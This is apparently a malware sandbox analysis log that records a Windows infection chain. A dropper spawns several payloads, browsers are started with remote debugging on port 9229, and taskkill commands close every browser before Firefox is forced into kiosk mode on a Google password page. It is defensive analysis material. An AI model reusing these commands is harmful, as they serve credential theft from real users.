Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEHJKJEBGH.exe "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe "C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe "C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe "C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3368 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe "C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe "C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe"
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2080 -prefMapHandle 2072 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {484a36b3-2a89-4a08-a639-b417ce94df6f} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1faaa86f510 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe "C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -parentBuildID 20230927232528 -prefsHandle 4148 -prefMapHandle 4176 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21c8c871-2cfb-474a-ac2a-440281b973b6} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1fabd52d810 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe "C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2128,i,4747285852145405260,18208468525557755224,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2316,i,4353943364485129938,16843632681257069434,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3368 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3368 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEHJKJEBGH.exe "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe "C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe "C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe "C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe "C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe "C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe"
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2080 -prefMapHandle 2072 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {484a36b3-2a89-4a08-a639-b417ce94df6f} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1faaa86f510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -parentBuildID 20230927232528 -prefsHandle 4148 -prefMapHandle 4176 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21c8c871-2cfb-474a-ac2a-440281b973b6} 3560 "\\.\pipe\gecko-crash-server-pipe.3560" 1fabd52d810 rdd

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
